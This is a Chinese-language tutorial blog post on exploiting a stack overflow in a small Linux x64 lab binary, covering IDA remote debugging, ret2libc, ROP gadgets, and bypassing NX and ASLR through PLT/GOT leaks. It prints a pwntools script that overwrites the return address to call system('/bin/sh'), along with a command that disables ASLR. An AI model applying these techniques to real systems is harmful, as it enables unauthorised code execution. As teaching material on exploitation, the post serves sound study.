Linux漏洞分析入门笔记-栈溢出

ida7.0

ubuntu16.04 lts

0x00:环境配置

使用IDA远程调试Linux程序步骤如下:

1. 在进行远程调试之前需要对Linux平台进行一些准备工作。在IDA的安装目录中的dbgsrv文件夹中,选择linux_server或者linux_serverx64复制到需要调试Linux程序所在的目录下。将复制过来的文件赋予执行权限chmod 777 linux_server*。执行该文件./linux_server或者./linux_server64。

2. 在IDA中选择菜单Debugger-Run-Remote Linux debugger。如图。分别将程序所在位置,程序所在目录,参数(没有可不写),主机IP,主机端口,点击OK。相对路径路径要填写相对

linux_server或者linux_serverx64的相对路径。

          图1

          图2

        图3

3. 此时,下关键函数下好断点后,即可进行动态调试,如下图:

        图4

常用快捷键包括:

a. 单步步过:F8

b. 单步步入:F7

c. 执行到光标位置:F4

d. 设置断点:F2

e. 顺序执行:F9

0x01:漏洞简介

1.一个简单的linux x64平台栈溢出漏洞,漏洞定位到vuln函数,如下图:

        图5

        图6

        图7

0x02.漏洞调试

1.从上面汇编代码可以看出,进入该vuln后 sub rsp-0x40 ,堆栈开辟了0x40字节空间,然后调用gets函数读入数据到edi所指向的空间,edi此时实际上是等于rsp的指向栈顶的位置,gets函数读入数据以换行符号为结束标志,在遇到换行符号前,会读取任意数据到栈里,这样当读入超长字符串后,就会覆盖函数的返回地址,在该函数执行retn时就会可以返回到任意我们指定的地方去执行代码。产生缓冲溢出漏洞,下好断点后开始动态调试。

2.尝试构造字符去覆盖函数的返回地址,代码如下:

 1 from pwn import *
 2 import pdb
 3 context.log_level = 'debug'
 4 target = process('./test')
 5 elf=ELF('./test')
 6 pdb.set_trace()
 7 #poc
 8 rop='A'*0x40#
 9 rop+='B'*0x8#
10 rop+=p64(0x400763)#pop rdi ret
11 rop+=p64(0x7FFFF7B99D57)#/bin/sh
12 rop+=p64(0x7FFFF7A52390)#System
13 target.sendline(rop)
14 target.interactive()

代码执行后栈此时的情况如下:

        图8

        图9

后面用8个字符c就可以覆盖返回地址了,函数返回时将会跳转到cccccccc 指向的空间去执行,如图9所示。

0x03:利用Ret2Lib突破NX保护

1.用checksec来检查目标文件进发现它开启了NX保护,如图10所示:

        图10

2.NX就是将非代码段的地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令时,CPU就是报内存违例异常,结束进程。栈空间也被操作系统设置了不可执行属性,因此我们注入的Shellcode就无法执行了。

既然注入Shellcode无法执行,进程和动态库的代码段怎么也要执行吧,具有可执行属性,那我们能否利用进程空间现有的代码段给合成想要的功能代码,答案是肯定的。

在系统函数库(Linux称为libc)有个system函数,它就是通过/bin/sh命令去执行一个用户执行命令或者脚本,我们完全可以利用system函数来实现Shellcode的功能。EIP改写成system函数地址后,在执行system函数时,它需要获取参数。而根据Linux X86 32位函数调用约定,参数是压到栈上的。但是栈空间完全由我们控制了,所以控制system的函数不是一件难事情。

这种攻击方法称之为ret2libc,即return-to-libc,返回到系统库函数执行的攻击方法。

但是我们使用的环境是64bit系统,它和32位系统的一个区别就是system函数的参数传递方式。32位系统使用堆栈来传参,在64位系统中使用RDI来传递参数,所以我们不仅需要控制系统栈,还需要控制RDI,这无疑给我们增加了许多难度,但是这并不是做不到的!

要获得shell需要做如下步骤:

a. 获取system函数的地址。

b. 获取“/bin/sh”字符串的地址。

c. 将RDI中的值,改成“/bin/sh”字符串的地址。

3.所以Shellcode不能放在栈下来执行,因此我们就需用用到ROP技术来间接执行功能代码。

0x04:简单ROP构造

1.由于目标程序有数据执行保护,所以我们往栈中的填充的数据并不能执行。所以在内存中代码最好找到类似“pop rdi, ret”这样的语句,由于我们可以完全控制栈中的数据,所以我们就可以通过pop为rdi赋值,再通过ret指令跳转到我们希望的地方。

但是很不幸,目标程序并没有到这样的指令,不过我们可以找到其它代替指令,图11所示:

        图11

pop rdi 的机器码是 5f c3,然而 pop r15 的机器码是 41 5f c3,而且一般pop r15之后一般都是紧跟ret指令。

所以我们就可以使用pop r15指令的后半部分,即 5f (pop rdi)。

2.由于系统开户地址空间随机化,我们先临时通过echo 0 > /proc/sys/kernel/randomize_va_space关闭地址随机化功能写死地址进行测试。

3.最后构造后rop代码如下:

 1 from pwn import *
 2 import pdb
 3 context.log_level = 'debug'
 4 target = process('./test')
 5 elf=ELF('./test')
 6 pdb.set_trace()
 7 #poc
 8 rop='A'*0x40#
 9 rop+='B'*0x8#
10 rop+=p64(0x400763)#pop rdi ret
11 rop+=p64(0x7FFFF7B99D57)#/bin/sh address
12 rop+=p64(0x7FFFF7A52390)#System address
13 target.sendline(rop)
14 target.interactive()

4.运行poc后通过IDA调试看看栈的情况如图12所示:

        图12

5.执行完后就可以正确获得shell,如图13所示:

        图13

0x05:通过plt和got绕NX与ascii armoring

1. 上面这个poc成功执行得利于关闭ASLR,system函数和“/bin/sh”的地址才能固定下来。我们构造poc才方便很多。虽然目标程序编译时默认没有开启ALSR,但程序使用的系统动态链接库会受到ALSR的约束,每次重新启动程序后,libc.so的地址会随机生成。所以我们的poc就会失效,下面我们就来构造一个不受libc.so基地址随机变化影响的poc。

2.通过return-to-plt来实现绕过libc.so基地址随机化。

什么是return-to-plt?

在这种技术中,而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的、其地址在执行之前已知)。由于'function@PLT'不是随机的,所以攻击者不再需要预测libc的基地址,而是可以简单地返回到“function@PLT”来调用“function”。

什么是PLT,如何通过调用“function@PLT”来调用“函数”?

要了解过程链接表(PLT),先让我简要介绍一下共享库!

与静态库不同,共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享,所以应该只有read和execute权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成!

什么是PIC?

位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享,尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变!

动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,如下所述:

全局偏移表(GOT):

全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用该表来重新定位具有单个间接级别的全局符号。

过程链接表(PLT): 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数('function'),而是调用存根代码(function @ PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数('function')的第一次调用期间发生,稍后当代码段中的调用指令调用存根代码(function @PLT)时,而不是调用动态链接器来解析函数地址('function')存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此,PIC使用这个表来重新定位具有两级间接的功能地址。

        图14

用ida反编译目标程序后发现其中有printf,gets ,setvbuf,在内存这几个函数的got表地址是固定的。从图14可以看出在执行printf函数前,edi指向的是格式化串,rsi指向的是被打印串的地址。如果控制了rsi那么我们就可以打印任何地址的内容。然后通过当前函数地址(gets) - system = 偏移地址 (两个函数的相对偏移是固定的),得到一个固定的相对偏移地址,得到偏移地址后通过当前地址加上偏移得到system函数的内存地址,然后传入’/bin/sh’,执行system就达到目的。

3.通过构造ROP获得system函数地址,在目标程序中找到图15代码。

        图15

        图16

看看printf_got_addr=0x600af0 这个数据里面刚好有个0x0a,这个就是换行符号对应的内存值,因此在读取0xf0后gets就结束读取了,所以后面的就无法正常覆盖了,我们得换一种方法来实现调用printf,就是将printf_got_addr=0x600af0地址拆开,然后在通过 call    qword ptr [r12+rbx*8] 来组合,只要没有0x0a就行,最后执行后如图16所示。执行完后再让它返回到发生漏洞的函数中,再将构造rop来执行system,通过pop edi ret来实现,步骤和第4步相同。

执行后成功获得shell,如图17、18所示:

        图17

        图18

0x06:总结

1. Linux系统中对应用程序漏洞防护有三个:

SSP(Stack-Smashing Protectot):堆栈防溢出保护,它会在每个函数的栈帧底部添加一个随机字节,每次函数将要返回时,都会这个随机字节进行验证,如果这个随机字节被篡改,则说明该栈帧发生数据溢出,报出异常,程序终止。在编译时可以通过-fno-stack-protector选项取消这项保护。

NX(Never eXecute):数据执行保护,在64位系统的CPU中增加一位NX位,用来标示数据如果可写就不可执行。在overflow这个程序中我们具有对栈数据写的权限,就没有对栈数据可执行的权限。

ASLR(Address Space Layout Randomization):地址空间随机化,在每次程序加载运行的时候,堆栈数据的定位都会进行随机化处理。由于每次程序运行时堆栈地址都会发生变化,所以无疑给溢出利用增加了很大的难度。可以通过这个命令

echo 0 > /proc/sys/kernel/randomize_va_space ,取消ASLR保护,然后方便验证poc。最后通过plt方式过掉ASLR。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券